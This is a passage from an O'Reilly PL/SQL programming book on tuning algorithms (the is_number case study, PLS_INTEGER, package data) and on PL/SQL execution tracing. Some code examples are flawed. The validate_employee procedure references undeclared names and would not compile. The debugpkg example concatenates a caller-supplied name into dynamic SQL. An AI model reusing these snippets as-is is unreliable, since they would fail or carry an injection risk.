I was troubled, first of all, by the character-by-character scan through the string. Was this really necessary? The longer the string, the more work the program had to do. It would have been preferable to have a test for a number whose performance did not depend greatly on the input value. This scan also required lots of code to do its job (the loop, local variables, etc.). Finally, the use of ASCII to test the value of the individual character was obscure and "low level" (at least to a 4GL, 90s type of fellow like me!).

At times like this, I wonder if there might be a PL/SQL built-in function that could help out. Could I replace this loop through the string with a single call to a higher-level built-in?

I meditated about the various string functions available to me and my mind soon circled around TRANSLATE. This function translates individual characters in a string by matching up characters in a match string with those in a replacement string. If I could simply replace all digits and the decimal point with NULL, then the translated string should be NULL if the original string was a number. To test out my idea, I executed the following SQL statement:

SELECT TRANSLATE ('567.6', '0123456789.', '')
  FROM dual;

and the result in SQL*Plus was:

T
-

which means NULL (the name of the column was truncated to a single character to match this minimal value length). That was perfect! Then I tested the negative condition as follows:

SELECT TRANSLATE ('567A6', '0123456789.', '')
  FROM dual;

but I got the same result: NULL. What is going on? Well, the problem is that if you supply a NULL replacement string, it converts your string to NULL, regardless of the original string and the match string. If, on the other hand, I added the same "placeholder" letter at the start of both the match and replacement string, I would get the desired behavior. This statement:

SELECT TRANSLATE ('567.6', 'A0123456789.', 'A'),
       TRANSLATE ('567A6', 'A0123456789.', 'A')
  FROM dual;

results in:

T T
- -
  A

In other words, '567A6' translates to 'A' and is NOT NULL. My technique validated, I then converted this "FROM dual" SQL statement into a PL/SQL function:

FUNCTION is_number (stg_in IN VARCHAR2)
   RETURN BOOLEAN
IS
BEGIN
   RETURN
      TRANSLATE
        (stg_in, 'A0123456789.', 'A')
      IS NULL;
END is_number;

This approach used much less code than the original is_number. I wondered how its performance would compare with the original, per-character scan. Rather than execute myriad individual calls to is_number within SQL*Plus, I decided to write a test script as shown below, saved to a file named testnum.sql:

SET SERVEROUTPUT ON
SET VERIFY OFF
DECLARE
   start_time BINARY_INTEGER;
   stg VARCHAR2(100) := '&2';
   bool BOOLEAN;
BEGIN
   start_time := DBMS_UTILITY.GET_TIME;
   FOR test_index IN 1 .. &1
   LOOP
      bool := is_number (stg);
      IF test_index = 1 AND bool
      THEN
         DBMS_OUTPUT.PUT_LINE(`TRUE');
      ELSIF test_index = 1 AND NOT bool
      THEN
         DBMS_OUTPUT.PUT_LINE(`FALSE');
      END IF;
   END LOOP;
   DBMS_OUTPUT.PUT_LINE (DBMS_UTILITY.GET_TIME - start_time);
END;
/

This script uses the DBMS_UTILITY.GET_TIME function to capture and display elapsed time in 100ths of seconds. It also displays the result of the first execution so I can verify correctness. This SQL*Plus script takes two parameters (&1 and &2):

  1. The number of times the loop (and, therefore, is_number) executes

  2. The input string

I can then CREATE OR REPLACE is_number before I call the script to try out my different version. The following call to testnum executes is_number 100 times for the string "12345R5".

SQL> start testnum 100 12345R5

I ran this script for a number of different strings and made the following discovery: the TRANSLATE version is faster than the original version in almost every case and for many string values is much faster. In fact, the TRANSLATE version records the same performance, regardless of input (.44 seconds), while the performance of the original version varies greatly by length of string and value (if a non-numeric character appears early in the string, the original is_number is similar in performance to the translate version). The results are shown in Table 25.1.

Table 25.1: Packages
String Value | Original | TRANSLATE
123456 | 181 | 44
1A3456 | 88 | 44
123456.8888 | 330 | 44
123 | 110 | 44
1 | 50 | 44
1A | 77 | 44
A1 | 44 | 44

I had clearly come up with a superior version of is_number. Yet I couldn't help but wonder: was this the best implementation? I decided to continue on my journey. I treated myself to a cappuccino and settled into Company X's finest ergonomic swivel chair. I adjusted the lumbar support. I raised the arm rests to relieve stress to my wrists. And I thought about TRANSLATE. It was clearly a very efficient implementation. Regardless of the length of the input string, this built-in took the same amount of time to execute. Yet from a theoretical and aesthetic standpoint, I couldn't help but dwell on the fact that, however efficiently, TRANSLATE had to do a lot of work. For each character in the original string, it had to see if that character appeared in the match string and then replace it with the corresponding character in the replacement string. Was all that truly necessary?

When you came right down to it, what I wanted TRANSLATE to do was "throw away" all digits -- and the decimal point -- and see if anything was left. I didn't really need to translate. I needed to trim, and I had just the built-in to do it. Rather, I had my choice of two: RTRIM and LTRIM. And so my third attempt at fine-tuning is_number looked like this:

FUNCTION is_number (stg_in IN VARCHAR2)
   RETURN BOOLEAN
IS
BEGIN
   RETURN
     LTRIM (stg_in, '0123456789.')
     IS NULL;
END is_number;

Using this version, PL/SQL would start on the left and discard any characters found in the trim string. If there was nothing left when it was done, I had a number. There was a little less code using LTRIM instead of TRANSLATE. But what about performance? I ran the same battery of tests using my looping script and discovered that the LTRIM version achieved a steady state elapsed time of just .22 seconds -- half the time of the TRANSLATE version!

So, given a string of "123456", my latest is_number returned TRUE in .22 seconds (for 100 iterations) compared with 1.81 for the original version. And for longer strings, the delta was even more dramatic: I had achieved an order of magnitude improvement.

I was very tempted to call in my friends at Company X to show them my results. But then I executed my test script one last time and accidently added another decimal point on my input as follows:

SQL> execute testnum 100 12345.56.6

I watched in horror as my script showed me that is_number returned TRUE for this value. Sure, it returned the value really quickly. But it was the wrong answer! I feverishly tried all my different versions of is_number and each one was happy to accept "123456.56.6" as a number. But that is not a number. Clouds seemed to cover the sun and darken every corner. I felt the walls of my cubicle closing in on me. Everything I had taken for granted about is_number had been cast into doubt.

What had gone wrong? The original algorithm and (since I did not challenge the basic approach) my subsequent replacements all treated the string as a string, not as a number. They then evaluated individual characters as candidates for being part of a number. Yet none of my is_numbers ever bothered to check the validity of the number as a whole.

When I looked at it from this angle, the solution to my problem was clear: forget the string built-ins. Instead, use the TO_NUMBER built-in to try to convert the string to a number. If the conversion worked, I would return TRUE. If an exception was raised, I would return FALSE. My fourth incarnation of is_number looked like this:

FUNCTION is_number (stg_in IN VARCHAR2)
   RETURN BOOLEAN
IS
   val NUMBER;
BEGIN
   val := TO_NUMBER (stg_in);
   RETURN TRUE;
EXCEPTION
   WHEN OTHERS THEN RETURN FALSE;
END is_number;

I ran my performance test with some trepidation. I was certain that this version would always return the correct value; that was, after all, the whole point of TO_NUMBER. I was less certain of the performance, particularly when the string was not a valid number. Raising and handling exceptions are not necessarily very efficient. It is a sad fact of life that the most elegant and correct solution is not always the most efficient.

So you can imagine my joy when I discovered that the TO_NUMBER version was far and away the fastest of the is_numbers. It registered a steady .17 seconds for any and all inputs and 100 iterations. Feeling my oats, I then executed my test script for 10000 iterations to check the string "123123.45". The elapsed times were as follows:

A conversion process testing one million strings could require three hours just to test for numbers with the original, per-character version, while the TO_NUMBER version would consume just ten or twenty minutes! And it would return the correct answer 100% of the time.

This was news I was ready to bring to the attention of Company X. I was sure there were still other areas of improvement to discover in the PL/SQL conversion code, but this was definitely a start.

25.4.2.1 Looking back

I learned a number of things about debugging, tuning, and my character in the process of revamping is_number. My biggest surprise and most important lesson regards making assumptions. When I started to analyze is_number, I was so sure that I could improve performance that I didn't take the time to step back and fully challenge all aspects of the program. I assumed that it performed properly, and I assumed that its basic approach to the problem was correct.

Both of these assumptions were wrong. There was a basic flaw in the program, and that flaw was directly related to an inappropriate strategy in the development plan. Once I no longer assumed the assumptions, it was easy to see my way through to a far better implementation.

Sure, I wasted some time exploring a variety of options for the design of is_number. On the other hand, I was reminded once again of the need to identify and challenge all assumptions before proceeding. In any case, I ended up with some tightly tuned PL/SQL code.

Now let's look at some more specific actions you can take to tune your algorithms.

25.4.3 Rely on Local Variables to Improve Performance

When you are inside a PL/SQL block manipulating variable data, the PL/SQL runtime engine will work most efficiently with data structures declared locally (i.e., inside that block). You can use this fact to your advantage by working with local copies of parameters and also by minimizing references to host variables. Both of these topics are explored in this section.

25.4.3.1 Work with local copies

For anyone calling a procedure or function, the parameter list provides the interface into the program, which is otherwise a "black box." The parameter list acts as a boundary between the internals of the program and the outside world. It is also useful to extend this concept of the boundary inside the program.

The IN and IN OUT parameters carry data into the program. Often, these formal parameters are manipulated and modified during the execution of the program. Rather than act directly on those parameters, you should transfer the parameters to local variables and then manipulate those local variables. This transfer potentially gives the following advantages:

  • Guarantees a consistent format for the incoming parameter value. In particular, you can use the local variable to avoid problems with different cases (upper, lower, mixed) of incoming text.

  • Avoids repetitive execution of functions.

  • Modifies the value of the parameter value, which may not be possible if it is an IN parameter.

Let's look at examples of each of these motivators to create local copies of parameters. The following program calculates different types of sales for a company:

PROCEDURE calc_sales (company_id IN NUMBER, action_in IN VARCHAR2)
IS
BEGIN
   IF UPPER (action_in) = 'ANNUAL' THEN ...
   ELSIF UPPER (action_in) = 'QUARTERLY' THEN ...
   ELSIF UPPER ...
   END IF;
END;

I need to uppercase the action code since it is being checked against all-caps literals. But it is wasteful to call the UPPER function repeatedly. Instead, I should copy the incoming action parameter in the declaration section, performing an UPPER conversion of the parameter at the same time. I then reference this internal variable, rather than the parameter itself, in the procedure's logic:

PROCEDURE calc_sales (company_id IN NUMBER, action_in IN VARCHAR2)
IS
   action_int VARCHAR2(10) := UPPER (action_in);
BEGIN
   IF action_int = 'ANNUAL' THEN ...
   ELSIF action_int = 'QUARTERLY' THEN ...
   END IF;
END;

25.4.3.2 Minimize references to host variables

Each time a PL/SQL program encounters a bind variable from the host environment which is using PL/SQL, the PL/SQL engine must halt execution and request from that host environment the current value of the bind variable. You can avoid these interruptions by passing a bind variable as a parameter to a procedure or function. You can also minimize the interruptions by copying bind variables to local variables, and then reference those local PL/SQL variables in the rest of the program. Consider the following code from a block-level Oracle Forms When-Validate-Item trigger:

-- Validate that a first and last name have been entered.
IF :SYSTEM.TRIGGER_ITEM = 'EMPLOYEE.LAST_NAME' OR
   :SYSTEM.TRIGGER_ITEM = 'EMPLOYEE.FIRST_NAME'
THEN
   IF :employee.first_name IS NULL OR
      :employee.last_name IS NULL
   THEN
      MESSAGE (' Enter a full name for employee ' ||
               TO_CHAR (:employee.employee_id));
      RAISE FORM_TRIGGER_FAILURE;
   ELSE
      -- Create full name and place in header.
      :header.name :=
          :employee.first_name || ' ' || :employee.last_name;
   END IF;
-- Validate that a company has been entered.
ELSIF :SYSTEM.TRIGGER_ITEM = 'EMPLOYEE.COMPANY_NAME'
THEN
   IF :employee.company_name IS NULL
   THEN
      MESSAGE (' Enter a company for employee ' ||
               TO_CHAR (:employee.employee_id));
      RAISE FORM_TRIGGER_FAILURE;
   ELSE
      -- Look up the company id for this name.
      :employee.company_id := get_company_name (:employee.company_name);
   END IF;
-- Validate the entry of the employee's hire date.
ELSIF :SYSTEM.TRIGGER_ITEM = 'EMPLOYEE.HIRE_DATE'
THEN
   IF SYSDATE < :employee.hire_date
   THEN
      :employee.hire_date := SYSDATE;
   ELSIF ADD_MONTHS (SYSDATE, -120) > :employee.hire_date
   THEN
      MESSAGE (' Hire date ' ||
               TO_CHAR (:employee.hire_date, 'MM/DD/YY') ||
               ' more than ten years past.');
      RAISE FORM_TRIGGER_FAILURE;
   END IF;
END IF;

I obtain the value of bind variables from Oracle Forms (variables with a ":" in front of the name) repetitively, as follows:

Data Structure | Number of Touches
The SYSTEM variable TRIGGER_ITEM | 4
Item last_name of employee block | 2
Item first_name of employee block | 2
Item company_name of employee block | 2
Item employee_id of employee block | 2
Item hire_date of employee block | 3

If I apply all of the guidelines mentioned earlier in this section to the trigger logic you saw above -- and consolidate some repetitive code as well -- I end up with a procedure like validate_employee, which passes in many of the bind variables as arguments:

PROCEDURE validate_employee
   (empid IN INTEGER,
    fname IN VARCHAR2,
    lname IN VARCHAR2,
    cname IN VARCHAR2,
    item_in IN VARCHAR2,
    cid IN OUT INTEGER,
    hdate IN OUT DATE)
IS
   c_emp_id VARCHAR2(10) := TO_CHAR (empid_in);
   right_now DATE := SYSDATE;
BEGIN
   -- Validate that a first and last name have been entered.
   IF item_in IN ('EMPLOYEE.LAST_NAME', 'EMPLOYEE.FIRST_NAME')
   THEN
      IF fname IS NULL OR lname IS NULL
      THEN
         MESSAGE (' Enter a full name for employee ' || c_emp_id);
         RAISE FORM_TRIGGER_FAILURE;
      ELSE
         -- Create full name and place in header.
         :header.name := fname || ' ' || lname;
      END IF;

   -- Validate that a company has been entered.
   ELSIF item_in = 'EMPLOYEE.COMPANY_NAME'
   THEN
      IF company_name IS NULL
      THEN
         MESSAGE (' Enter a company for employee ' || c_emp_id);
         RAISE FORM_TRIGGER_FAILURE;
      ELSE
         -- Look up the company id for this name.
         cid := get_company_name (company_name);
      END IF;

   -- Validate the entry of the employee's hire date.
   ELSIF item_in = 'EMPLOYEE.HIRE_DATE'
   THEN
      IF right_now < hire_date
      THEN
         hdate := right_now;
      ELSIF ADD_MONTHS (right_now, -120) > hire_date
      THEN
         MESSAGE (' Hire date ' ||
                  TO_CHAR (hire_date, 'MM/DD/YY') ||
                  ' more than ten years past.');
         RAISE FORM_TRIGGER_FAILURE;
      END IF;
   END IF;
END;

The performance gain from each of these conversions may be slight. If they were the only tuning steps you took (or the only ones left to take) in your PL/SQL programs, I doubt that you would notice a difference. Combined with all the other tuning tips, however, avoidance of host variables in PL/SQL blocks will contribute to a more efficient PL/SQL layer in your application.

25.4.4 Use Package Data to Avoid Passing "Bulky" Parameter Values

With the exception of cursor variables, PL/SQL passes arguments by value, instead of reference, in the parameter lists of procedures and functions. If the argument can be changed (i.e., it is an OUT or IN OUT parameter), then the runtime engine makes a local copy of your structure and applies changes to that copy. If the program terminates without error, the local data is copied to your structure, which is then returned to the calling program.

This approach preserves the values of actual parameters against the possibility of program failure, but it introduces some potential performance problems. This is particularly the case when your OUT or IN OUT parameters are complex data structures such as records and PL/SQL tables.

Suppose that a record has 15 columns in it. Every time you pass that record into a procedure or function as an OUT or IN OUT parameter, PL/SQL copies the entire record into an internal record structure, column by column.

Suppose that a PL/SQL table has 100 rows defined in it. Every time you pass that table into a procedure or function as an OUT or IN OUT parameter, PL/SQL copies the entire table into an internal table structure, row by row.

Suppose, now, that you have a record with 15 columns in it, three of which are PL/SQL tables, each with 100 rows. Then, every time you pass that record into a procedure or function as an OUT or IN OUT parameter, PL/SQL copies the entire record into an internal record structure, column by column and row by row -- for a total of 312 copies! And if that procedure calls another procedure, passing the record down to that inner procedure, well, PL/SQL executes the same copy process within the second procedure.

As you can easily imagine, this copying could consume a noticeable amount of memory and CPU cycles in your application.

So should you avoid using records and PL/SQL tables as parameters in programs? Absolutely not! These advanced, multi-component data structures are powerful constructs in your program -- you definitely should take advantage of them. However, you should be aware of the kinds of problems you might encounter when using these kinds of parameters. And you should be ready to implement a workaround if you find that performance in your application is dragged down as a result of record or PL/SQL table copying.

The workaround for this problem is straightforward enough: don't pass the record or table as a parameter. But then how can you get your data inside your program? Replacing a record with a parameter list of 20 different parameters isn't really an answer, since PL/SQL will continue to execute 20 copies to internal variables. No, the answer is to stop PL/SQL from executing the copies altogether. To accomplish this, make use of package-level data, as explained in Chapter 16, Packages.

Here's an example of the steps you could take to avoid passing these data structures as parameters. Suppose you have a procedure which accepts both a record and a PL/SQL table as parameters, as follows:

PROCEDURE massage_mucho_data
   (io_columns_galore_rec IN OUT columns_galore%ROWTYPE,
    io_lotsarows_tab IN OUT lotsarows_tabtype);

To use this procedure, I first declare and populate both the row and table. Then, I call the procedure:

DECLARE
   galore_rec columns_galore%rowtype;
   TYPE lotsarows_tabtype IS TABLE OF VARCHAR2 INDEX BY BINARY_INTEGER;
   my_table lotsarows_tabtype;
BEGIN
   fill_table (my_table);
   massage_mucho_data (galore_rec, my_table);
END;

As PL/SQL executes the statements in massage_mucho_data, the contents of the record and PL/SQL table are copied into local structures. Upon successful termination of the program, the data in those local structures is copied back to galore_rec and my_table.

If, on the other hand, I create a package with the record and table types and instances in the specification as shown below, those data structures are "global" in my session. I can manipulate them directly in any procedure or function without passing them into those programs as parameters.

PACKAGE mucho_data_pkg
IS
   /* Declare the record in the package specification. */
   galore_rec columns_galore%rowtype;

   /* Define the table structure and declare the table. */
   TYPE lotsarows_tabtype IS TABLE OF VARCHAR2 INDEX BY BINARY_INTEGER;

   my_table lotsarows_tabtype;

END mucho_data_pkg;

After I populate the table, I can call the revised version of massage_mucho_data -- which no longer has any parameter at all!

BEGIN
   fill_table;
   massage_mucho_data;
END;

I do not need to declare the package table. Nor do I need to declare the record. I simply modify the internals of massage_mucho_data to append the package name "mucho_data_pkg" to the names of the record and PL/SQL table. In other words, whereas a line in the original massage_mucho_data procedure might have looked like this:

FOR row_count IN 1 .. 100
LOOP
   io_lotsarows_tab (row_count) := row_count ** 2;
END LOOP;

this same loop in the new, parameter-less version of massage_mucho_data would appear as follows:

FOR row_count IN 1 .. 100
LOOP
   mucho_data_pkg.my_table (row_count) := row_count ** 2;
END LOOP;

I no longer pass the complex data structures as parameters. I reference them directly in the procedure. PL/SQL no longer copies the values to internal variables.

There are, by the way, a number of downsides to globalizing your data as shown above. When you use global data structures, you increase the dependencies between modules in your system. The massage_mucho_data is no longer a black box, completely independent of other elements of the application. Instead, it requires the data structures in the mucho_data_pkg. When I passed in the table as a parameter to fill_table, I gave myself the flexibility to call fill_table for any table of the correct table type. If I need this flexibility, then I cannot push the data structure down inside the package. If, on the other hand, these programs really will be run only for that record and that table, then package-level data would be the way to go.

The power of packages, particularly to provide package-level data, should make you want to place most, if not all, of your modules inside a package. You may not need to group additional modules into that package immediately. You may not need package-level data at this time. By using a package right from the start, however, you ensure that all references to the procedure or function are already prefaced with the package name. Otherwise, when you decide you need to wrap a package around a procedure, you either have to create a synonym for the newly-packaged object or change all references to the unqualified program name.

Given these drawbacks, you should convert from parameters to global variables only when you have verified that the parameter-copying of these data structures has an unacceptable impact on your application. Document clearly the changes you have to make and, most importantly, the data structures which have become globals in your system. A later release of PL/SQL might fix this problem by no longer insisting on performing the copies for OUT and IN OUT parameters. When this is the case, you will want to consider converting back to a parameter interface. This will be practical only if you have documented your workarounds.

25.4.5 Use PLS_INTEGER for All Integer Operations

When you need an integer variable, use the PLS_INTEGER type and not BINARY_INTEGER, INTEGER, or NUMBER. PLS_INTEGER is the most efficient implementation for integer types (available in PL/SQL 2.3 and above).

Numeric types such as INTEGER and NUMBER are represented in the 22-byte Oracle number format. Arithmetic operations on these types are implemented using Oracle number libraries. Furthermore, the INTEGER type is a constrained subtype of NUMBER with a precision of 0. On assignments to INTEGER variables precision checking is done at runtime.

Both PLS_INTEGER and BINARY_INTEGER are represented as a signed 4-byte quantity (sb4). But BINARY_INTEGER arithmetic is costly; the operands are first converted to an Oracle number, and then the Oracle number library is used to compute the result as another Oracle number. This results in increased use of temporaries, data conversion, and, hence, poor performance. On the other hand, arithmetic operations on PLS_INTEGERs are efficiently implemented using native integer arithmetic.

Unfortunately, it is not possible to fix all the implementation inefficiencies with INTEGER and BINARY_INTEGER datatypes without breaking backward compatibility of old applications. For instance, Oracle cannot simply implement these types the same way as PLS_INTEGER without changing the overflow/underflow semantics. (The sum of two BINARY_INTEGERs will result in an overflow only if the result exceeds the maximum value storable in an Oracle number. The sum of two PLS_INTEGERs will result in an overflow when the sb4 limit is exceeded.)

The numeric types NATURAL, NATURALN, POSITIVE, POSITIVEN, and SIGNTYPE are subtypes of BINARY_INTEGER with narrower range constraints. There is considerable overhead (about three or four byte-code instructions) in the enforcement of these range constraints on every assignment (or parameter passing) to variables of these types.

One caution about the use of PLS_INTEGER: this is a PL/SQL-specific datatype, so if you are constructing a function or procedure to be used in an environment which does not support that datatype, you could run into trouble. For example, a function which will be called inside SQL cannot have a PLS_INTEGER parameter. Instead, declare the parameter to be INTEGER, but then (if there is sufficient internal integer arithmetic) copy that value to a local variable of type PLS_INTEGER and perform computations on that variable.

25.4.6 Avoid NOT NULL Constraints

Using NOT NULL constraints in PL/SQL comes with a performance penalty. Consider the program fragment below:

procedure foo is
  m number not null;
  a number;
  b number;
begin
  m := a + b;
  m := m * 1.2;
  m := m * m;
  ..
end;

Since "m" is a NOT NULL constrained number, the result of the expression "a+b" is first computed into a temporary, and the temporary is then tested for NULLity, If the temporary is NULL an exception is raised; otherwise the value of the temporary is moved to "m".

On the other hand, if "m" were not constrained, then the result of the expression "a+b" could directly be computed into "m". So a more efficient way to rewrite the above fragment with reduced use of temporaries is:

procedure foo is
  m number;  -- Note: m doesn't have NOT NULL constraint
  a number;
  b number;
begin
  m := a + b;
  m := m * 1.2;
  m := m * m;
  -- enforce constraint programmatically
  if (m is null) then
    -- raise appropriate error
  end if;
  ..
end;

Another thing to note is that the types NATURALN and POSITIVEN are defined to be NOT NULL subtypes of NATURAL and POSITIVE, respectively; thus, you will incur the performance penalty described above when you use them.

25.4.7 Avoid Type Conversions When Possible

PL/SQL does implicit conversions between structurally different types at runtime. Currently, this is true even when the source item is a literal constant. A common case where implicit conversions result in a performance penalty, but can be avoided, is with numeric types. For instance, assigning a PLS_INTEGER variable to a NUMBER variable or vice-versa will result in a conversion since their representations are different. Such implicit conversions can happen during parameter passing as well.

Some examples of inefficient code and suggestions to fix them are shown below:

  1. Prevent conversions between numeric types. Consider:

     number_variable := number_variable + 1;

    The literal constant 1 is represented as an sb4; it gets converted to Oracle number format before the addition. Instead, use:

     number_variable := number_variable + 1.0;

    The above is more efficient because literal floats (like 1.0) are represented as Oracle numbers, so no type conversion happens at runtime.

    Or better still, when dealing with integer data, use:

     pls_integer_variable := pls_integer_variable + 1;

  2. Prevent numeric to character type conversion. Consider:

     char_variable := 10;

    The literal 10 is converted to CHAR at runtime, and then copied. Instead use:

    char_variable := '10';

25.4.8 Use Index-By Tables of Records and Objects

In Oracle 7.3, PL/SQL added support for index-by tables of records. (Index-by tables were formerly known as PL/SQL tables.) Prior to that, users modeled the same as a bunch of index-by tables of scalars (one for each record attribute). Users should strongly consider rewriting such applications to use table of records (or objects). The effort will pay off in two major ways:

  • Better application performance: The number of index-by table lookup, insert, copy, and similar operations will be reduced dramatically if the data is packaged into an index-by table of records.

  • Improved memory utilization: There is memory overhead associated with each index-by table (primarily due to its tree structured implementation). Having fewer index-by tables will help cut this overhead, and also reduce memory fragmentation caused due to the varying size allocations in different tables.

Previous: 25.3 Tuning Access to Your Data | Oracle PL/SQL Programming, 2nd Edition | Next: 25.5 Overview of PL/SQL8 Enhancements
25.3 Tuning Access to Your Data | Book Index | 25.5 Overview of PL/SQL8 Enhancements
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 25] 25.5 Overview of PL/SQL8 Enhancements

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

25.5 Overview of PL/SQL8 Enhancements

Oracle Corporation has improved the peformance of PL/SQL programs with the release of Oracle8 and PL/SQL8. Without delving into detailed descriptions of the internal changes made to the engine, it is worth noting which elements of the technology have improved. This knowledge may well affect your choice of implementation for algorithms and your willingness to employ some features which in the past have come with a noticeable penalty.

PL/SQL8 offers improved performance in the following areas:[2]

[2] This information has been provided by Oracle Corporation and has not been independently confirmed.

  • The memory required for PL/SQL code in the SGA has been reduced by about 20-25%. This will be especially important for large packages. In addition, Oracle8 uses a paging algorithm for code segments and data segments, leading to less fragmentation in the SGA.

  • Large VARCHAR2 and RAW variables are dynamically allocated and resized as needed. For example, you might declare a package variable to be length 32,000 to handle all possible scenarios, but in most cases that variable only holds 255 bytes of data. You will no longer pay the penalty of all that extra memory.

  • Anonymous blocks with bind variables execute much more rapidly. This is of special importance when you are working with DBMS_SQL or executing PL/SQL functions from within SQL. Oracle claims that the overhead of calling PL/SQL functions in SQL now is "negligible." If true, this will have significant implications for the deployment of PL/SQL code throughout SQL implementations.

  • The use of temporary data structures has been minimized, resulting in performance improvements for such operations as concatenations and implicit conversions.

  • PL/SQL records are now supported more efficiently for runtime operations. Prior to Oracle8, the compiler exploded records into individual scalar fields. Now, as you would expect with support for objects, PL/SQL provides native support for the RECORD composite type.

  • The performance of index-by tables (formerly known as PL/SQL tables) has improved significantly due to a change in implementation from B*trees to a paged-array representation.

Previous: 25.4 Tuning Your Algorithms | Oracle PL/SQL Programming, 2nd Edition | Next: 26. Tracing PL/SQL Execution
25.4 Tuning Your Algorithms | Book Index | 26. Tracing PL/SQL Execution
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 26] Tracing PL/SQL Execution

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 25.5 Overview of PL/SQL8 Enhancements Chapter 26 Next: 26.2 Tracing for Production Support

26. Tracing PL/SQL Execution

Contents:
The PL/SQL Trace Facility
Tracing for Production Support
Free Format Filtering
Structured Interface Filtering
Quick-and-Dirty Tracing

As you build more and more complex applications, it can be very difficult to keep track of which procedure calls which function; execution call stacks grow deep and bewildering. Yet there are times when it is very important to be able to trace the activity in your PL/SQL code base.

Oracle offers a trace facility for your PL/SQL code which allows you to generate voluminous information about the particular paths your programs take to get their job done. Of course, Oracle has for years offered a SQL trace facility which provides extensive data on the processing of your SQL statements. See Oracle Performance Tuning for more information on this feature, as well as other tuning/tracing utilities like TKPROF.

In addition to these standard Oracle facilities, you can build your own tracing utilities; the final section in this chapter offers an architecture and some implementational ideas for a utility designed specifically to trace execution within a running application. (Such a utility is particularly useful for production support.)

26.1 The PL/SQL Trace Facility

PL/SQL8 offers a tracing tool for server-side PL/SQL. You can use this tool to trace the execution of PL/SQL programs and the raising of exceptions within those programs. The output from the trace is written to the Oracle Server trace file. On Windows NT, you can find this trace file in the \OraNT\RDBMS80\TRACE directory. In UNIX, check the $ORACLE_HOME\rdbms\trace directory. The name of the file has the format ORANNNNN.TRC, where NNNNN is a left zero-padded number assigned internally by the Oracle Trace facility. Order your directory by date to find the latest trace file.

NOTE: You cannot use the PL/SQL tracing tool with the multi-threaded server option (MTS).

26.1.1 Enabling Program Units for Tracing

In order to trace the execution of a program, you will first have to enable that program by recompiling it with the debug option. You can do this either by altering your session and then issuing a CREATE OR REPLACE statement, or by directly recompiling an existing program unit with the debug option.

To alter your session to turn on PL/SQL debug mode for compilation, issue this command:

SQL> ALTER SESSION SET PLSQL_DEBUG=TRUE;

Then compile your program unit with a CREATE OR REPLACE statement. That program unit will then be available for tracing.

You can also recompile your existing, stored program with debug mode as follows:

SQL> ALTER [PROCEDURE|FUNCTION|PACKAGE] <program_name> COMPILE DEBUG;

So if you wanted to enable the emp_pkg package for tracing, you would issue this command:

SQL> ALTER PACKAGE emp_pkg COMPILE DEBUG;

From within a PL/SQL program you can also turn on debug mode for a module by using DBMS_SQL as follows:

CREATE OR REPLACE PROCEDURE debugpkg (name IN VARCHAR2)
IS
   cur INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk INTEGER;
BEGIN
   DBMS_SQL.PARSE (cur,
      'ALTER PACKAGE ' || name || ' COMPILE DEBUG',
      DBMS_SQL.NATIVE);

   fdbk := DBMS_SQL.EXECUTE (cur);

   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

For more information on DBMS_SQL, see Appendix C, Built-In Packages.

26.1.2 Turning On the Trace

Once you have enabled the desired program units for tracing, you can execute those programs (or the application code which makes use of those programs). To get trace output, however, you must turn on tracing for your session. You can request tracing of program calls and/or exceptions raised in programs.

You do this with the ALTER SESSION command as follows:

   SQL> ALTER SESSION SET EVENTS='10938 TRACE NAME CONTEXT LEVEL <number>';

where 10938 is the event number for PL/SQL tracing and <number> is a number indicating the level of tracing you desire. Valid tracing levels are:

Level | Description
1 | Trace all calls
2 | Trace calls to enabled programs only
4 | Trace all exceptions
8 | Trace exceptions in enabled program units only

You can activate multiple event levels for tracing by adding the level values. For example, the following statement sets tracing for levels 2 and 8:

SQL> ALTER SESSION SET EVENTS='10938 TRACE NAME CONTEXT LEVEL 10';

while this next command activates tracing for levels 2, 4, and 8:

SQL> ALTER SESSION SET EVENTS='10938 TRACE NAME CONTEXT LEVEL 14';

Lower trace levels supersede higher levels. So if you activate tracing for level combination 12, level 8 will be ignored and trace output will be produced for all exceptions, not just exceptions in enabled program units.

As you can see, you have some control over the granularity of tracing. It is not possible, however, to activate tracing just within a specific program. It is either all programs or all programs in which tracing has been enabled with a debug-mode compile.

NOTE: You cannot turn on tracing for remote procedure calls (RPCs) -- that is, programs which are stored in remote databases.

26.1.3 A Sample Tracing Session

To make it easier for me to test and use this facility I created the following scripts:

alter package &1 compile debug;

alter session set events='10938 trace name context level &1';

So I can now prepare a package for tracing with the following statement:

SQL> @compdbg PKGNAME

where PKGNAME is the name of my package. In the following session, I turn on tracing for all levels by passing 14 (2 + 4 + 8); then I call my PL/Vision substitute for DBMS_OUTPUT.PUT followed by the raising of an exception. The following code:

SQL> @trace 14
SQL> BEGIN
  2     p.l (1);
  3     raise no_data_found;
  4  END;
  5  /
begin
*
ERROR at line 1:
SQL>

resulted in this trace file:

Dump file D:\ORANT\RDBMS80\trace\ORA00089.TRC
Wed Jun 11 13:22:52 1997
ORACLE V8.0.2.0.2 - Beta vsnsta=1
vsnsql=c vsnxtr=3
Windows NT V4.0, OS V5.101, CPU type 586
Oracle8 Server Release 8.0.2.0.2 - Beta
With the distributed, heterogeneous, replication, objects
and parallel query options
PL/SQL Release 3.0.2.0.2 - Beta
Windows NT V4.0, OS V5.101, CPU type 586
Instance name: orcl
Redo thread mounted by this instance: 1
Oracle process number: 11
pid: 59
Wed Jun 11 13:22:52 1997
*** SESSION ID:(11.18) 1997.06.11.13.22.52.431
------------ PL/SQL TRACE INFORMATION -----------
Levels set :  2    4    8
------------ PL/SQL TRACE INFORMATION -----------
Levels set :  2    4    8
Trace:   PACKAGE PLVPRO.P: P Stack depth = 2
Trace:   PACKAGE BODY PLVPRO.P: P Stack depth = 2
